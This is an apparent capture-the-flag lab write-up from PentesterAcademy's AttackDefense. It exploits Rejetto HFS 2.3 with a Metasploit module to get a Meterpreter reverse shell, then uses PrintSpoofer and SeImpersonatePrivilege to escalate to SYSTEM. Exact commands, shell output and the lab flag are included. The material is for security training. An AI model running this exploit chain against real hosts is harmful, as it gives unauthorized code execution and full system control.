ATTACK DEFENSE

by PentesterAcademy

Name	Privilege Escalation: SeImpersonatePrivilege
URL	https://attackdefense.com/challengedetails?cid=2355
Type	Basic Exploitation: Pentesting

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Checking target IP address.

Note: The target IP address is stored in the “target” file.

Command: cat /root/Desktop/target

```
root@attackdefense:~# cat /root/Desktop/target
Target IP Address : 10.0.23.231
root@attackdefense:~#
```

Step 2: Run a Nmap scan against the target IP.

Command: nmap 10.0.23.231

```
root@attackdefense:~# nmap 10.0.23.231
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 11:20 IST
Nmap scan report for 10.0.23.231
Host is up (0.055s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds
root@attackdefense:~#
```

Step 3: We have discovered that multiple ports are open. We will run nmap again to determine version information on port 80.

Command: nmap -sV -p 80 10.0.23.231

```
root@attackdefense:~# nmap -sV -p 80 10.0.23.231
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-17 11:21 IST
Nmap scan report for 10.0.23.231
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.48 seconds
root@attackdefense:~#
```

Step 4: We will search the exploit module for hfs 2.3 using searchsploit.

Command: searchsploit hfs

```
root@attackdefense:~# searchsploit hfs
-------------------------------------------------------------------------------
 Exploit Title
-------------------------------------------------------------------------------
Apple Mac OSX 10.4.8 - DMG HFS+ DO_HFS_TRUNCATE Denial of Service
Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Apple Mac OSX 10.6.x - HFS Subsystem Information Disclosure
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
FHFS - FTP/HTTP File Server 2.1.2 Remote Command Execution
HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)
Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service
Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities
Rejetto HTTP File Server (HFS) 2.2/2.3 - Arbitrary File Upload
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (1)
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
Rejetto HTTP File Server (HFS) 2.3a/2.3b/2.3c - Remote Command Execution
-------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results
root@attackdefense:~#
```

Step 5: There is a Metasploit module for hfs server. We will use the Metasploit module to exploit the target.

Commands:

msfconsole -q
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.0.23.231
exploit
getuid

```
root@attackdefense:~# msfconsole -q
msf6 > use exploit/windows/http/rejetto_hfs_exec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS 10.0.23.231
RHOSTS => 10.0.23.231
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.2:4444
[*] Using URL: http://0.0.0.0:8080/dHRWXnpCIO
[*] Local IP: http://10.10.15.2:8080/dHRWXnpCIO
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110:
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110:
[*] Payload request received: /dHRWXnpCIO
[*] Sending stage (175174 bytes) to 10.0.23.231
[*] Meterpreter session 1 opened (10.10.15.2:4444 -> 10.0.23.231:49719) at 2021-05-17
[!] Tried to delete %TEMP%\jaPQMDoqcxwFz.vbs, unknown result
[*] Server stopped.

meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
meterpreter >
```

We have successfully exploited a hfs server and we are running as a local service.

Step 6: Trying to read the flag, which is located in **C:\\Users\\Administrator\\Desktop\\flag.txt**

Command: cat C:\\Users\\Administrator\\Desktop\\flag.txt

```
meterpreter > cat C:\\Users\\Administrator\\Desktop\\flag.txt
[-] 1016: Operation failed: Access is denied.
meterpreter >
```

Step 7: We cannot read the flag with current privilege. We will use PrintSpoofer to escalate privilege to nt authority.

The PrintSpoofer compiled executable is present in “/root/Desktop/tools/PrintSpoofer” directory.

We can find details explanation about the attack on the following blog: PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019

The PrintSpoofer64.exe executable allowed an attacker to gain NT Authority privileges. The user where we are running this executable should have "**SeImpersonatePrivilege**" privilege or else we won't be able to gain nt authority privileges.

We can verify it by running "**whoami /all**" command on the shell

Command: shell
whoami /priv

```
meterpreter > shell
Process 2300 created.
Channel 2 created.
Microsoft Windows [Version 10.0.17763.1457]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\http-server>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeSystemtimePrivilege         Change the system time                    Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

C:\http-server>
```

Step 8: Exit the shell and switch current directory to C:\Users\Public

Command: cd C:\\Users\\Public

```
meterpreter > cd C:\\Users\\Public
meterpreter > pwd
C:\Users\Public
meterpreter >
```

Step 9: Upload PrintSpoofer64.exe executable.

Command: upload /root/Desktop/tools/PrintSpoofer/PrintSpoofer64.exe .

```
meterpreter > upload /root/Desktop/tools/PrintSpoofer/PrintSpoofer64.exe .
[*] uploading  : /root/Desktop/tools/PrintSpoofer/PrintSpoofer64.exe -> .
[*] uploaded   : /root/Desktop/tools/PrintSpoofer/PrintSpoofer64.exe -> .\PrintSpoofer64.exe
meterpreter > ls
Listing: C:\Users\Public
========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40555/r-xr-xr-x   0      dir   2018-12-12 13:15:15 +0530  AccountPictures
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Desktop
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Documents
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Downloads
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Libraries
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Music
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Pictures
100777/rwxrwxrwx  27136  fil   2021-05-17 11:30:28 +0530  PrintSpoofer64.exe
40555/r-xr-xr-x   0      dir   2018-09-15 12:49:00 +0530  Videos
100666/rw-rw-rw-  174    fil   2018-09-15 12:46:48 +0530  desktop.ini

meterpreter >
```

Step 10: Get the shell and execute PrintSpoofer64.exe.

Command: shell
PrintSpoofer64.exe -i -c cmd

```
meterpreter > shell
Process 2656 created.
Channel 9 created.
Microsoft Windows [Version 10.0.17763.1457]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.1457]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

Step 11: Read the flag.

Command: type C:\Users\Administrator\Desktop\flag.txt

```
C:\Windows\system32>type  C:\Users\Administrator\Desktop\flag.txt
type  C:\Users\Administrator\Desktop\flag.txt
a39730b7d46d6c38f1f28c832ea18e12
C:\Windows\system32>
```

This revealed the flag to us:

Flag: a39730b7d46d6c38f1f28c832ea18e12

References

1. Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2) (https://www.exploit-db.com/exploits/39161)
2. Metasploit Modules (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/)

3. PrintSpool (https://github.com/itm4n/PrintSpoofer)
4. PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 (https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)